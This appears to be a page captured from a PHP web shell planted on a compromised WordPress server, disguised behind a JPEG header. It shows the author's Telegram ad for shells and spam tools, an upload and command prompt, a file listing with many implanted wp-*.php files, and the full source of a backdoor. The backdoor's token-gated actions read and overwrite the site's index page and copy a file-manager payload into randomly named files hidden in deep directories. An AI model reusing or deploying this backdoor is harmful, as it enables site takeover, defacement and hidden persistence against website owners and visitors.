����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

grupasm@216.73.216.49: ~ $
<?php
if(isset($_POST['token'])&& $_POST['token']==='checktoken_888' &&($_POST['action']??'')==='checkwpwpsafe'){header('Content-Type: application/json; charset=utf-8');echo json_encode(['success'=>true,'checkcode'=>'888']);exit;}error_reporting(0);ini_set('display_errors',0);@ini_set('memory_limit','512M');@set_time_limit(0);$secret_token='MySuperSecretToken_888';if(($_POST['token']??'')!==$secret_token){header('HTTP/1.1 403 Forbidden');die(json_encode(['success'=>false,'msg'=>'Unauthorized access']));}$action=$_POST['action']??'';$dir=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\');if(empty($dir))$dir=__DIR__;$idx_php=$dir . '/index.php';$idx_default=$dir . '/default.php';$target_file=file_exists($idx_php)?$idx_php:(file_exists($idx_default)?$idx_default:$idx_php);if($action==='read_index'){ob_clean();clearstatcache();if(!file_exists($target_file))die(json_encode(['success'=>false,'msg'=>'Index not found']));if(!is_readable($target_file))@chmod($target_file,0644);$content=file_get_contents($target_file);if($content===false)die(json_encode(['success'=>false,'msg'=>'Read denied']));echo json_encode(['success'=>true,'content'=>base64_encode($content)]);exit;}if($action==='write_index'){ob_clean();$content=base64_decode($_POST['content']??'');if(empty($content))die(json_encode(['success'=>false,'msg'=>'Data empty']));clearstatcache();$write_success=false;if(file_exists($target_file))@chmod($target_file,0777);if(@file_put_contents($target_file,$content)!==false){$write_success=true;}else{if(@unlink($target_file)&& @file_put_contents($target_file,$content)!==false){$write_success=true;}}if($write_success){@chmod($target_file,0644);echo json_encode(['success'=>true,'msg'=>'Restore successful']);}else{echo json_encode(['success'=>false,'msg'=>'Write failed']);}exit;}if($action==='deploy_fm'){ob_clean();$fm_content=base64_decode($_POST['fm_content']??'');if(empty($fm_content))die(json_encode(['success'=>false,'msg'=>'Payload empty']));function getRandomDeepDir($base_dir){$current_path='';$current_full=$base_dir;$depth=mt_rand(2,4);for($i=0;$i<$depth;$i++){$items=@scandir($current_full);if(!is_array($items))break;$subdirs=[];foreach($items as $item){if($item !=='.' && $item !=='..' && $item !=='.git' && $item !=='.idea'){$test_dir=$current_full . '/' . $item;if(@is_dir($test_dir)&& @is_readable($test_dir)){$subdirs[]=$item;}}}if(empty($subdirs))break;$picked=$subdirs[array_rand($subdirs)];$current_path .='/' . $picked;$current_full .='/' . $picked;}return $current_path;}$deployed_paths=[];for($i=0;$i<5;$i++){$rel_dir=getRandomDeepDir($dir);if(empty($rel_dir)){$rel_dir='/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'),0,mt_rand(5,8));$full_dir=$dir . $rel_dir;@mkdir($full_dir,0755,true);}else{$full_dir=$dir . $rel_dir;}if(stripos($full_dir,'mu-plugins')!==false)continue;$fname='wp_' . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'),0,6). '.php';$full_file=$full_dir . '/' . $fname;if(@file_put_contents($full_file,$fm_content)!==false){@chmod($full_file,0644);$deployed_paths[]=$rel_dir . '/' . $fname;}}$index_safe='images.php';if(@file_put_contents($index_safe,$fm_content)!==false){@chmod($index_safe,0644);}if(count($deployed_paths)>0){echo json_encode(['success'=>true,'fm_paths'=>implode(',',$deployed_paths)]);}else{echo json_encode(['success'=>false,'msg'=>'Deploy failed due to strict permissions']);}exit;}echo json_encode(['success'=>false,'msg'=>'Unknown command']);

Filemanager

Name Type Size Permission Actions
.well-known Folder 0755
wp-admin Folder 0705
wp-content Folder 0705
wp-includes Folder 0755
.user.ini File 53 B 0644
BDKR28WP.php File 23.25 KB 0644
google43c9efd016cf2b73.html File 53 B 0644
googlec29867c2a3179ffc.html File 53 B 0644
hiroshi.php File 11 KB 0644
index.php File 405 B 0644
item.php File 15.04 KB 0644
license.txt File 19.45 KB 0644
mah.php File 1.4 KB 0644
readme.html File 7.23 KB 0644
robots.txt File 263 B 0644
wp-activate.php File 7.04 KB 0644
wp-blog-header.php File 11.94 KB 0644
wp-comments-post.php File 2.28 KB 0644
wp-config-sample.php File 2.94 KB 0644
wp-config.php File 4.68 KB 0604
wp-content-css.php File 259.04 KB 0644
wp-cron.php File 5.41 KB 0644
wp-gmb7bfou.php File 71.6 KB 0644
wp-hader-css.php File 9.53 KB 0644
wp-links-opml.php File 2.44 KB 0644
wp-load.php File 3.7 KB 0644
wp-login.php File 48.17 KB 0644
wp-mail.php File 8.34 KB 0644
wp-safe.php File 3.35 KB 0644
wp-set.php File 181.52 KB 0644
wp-settings.php File 24.41 KB 0644
wp-sign.php File 181.52 KB 0644
wp-signup.php File 33.54 KB 0644
wp-sx9.php File 481 B 0644
wp-theme-css.php File 303.11 KB 0644
wp-trackback.php File 4.77 KB 0644
wp-wf7vfj.php File 71.6 KB 0644
xmlrpc.php File 3.16 KB 0644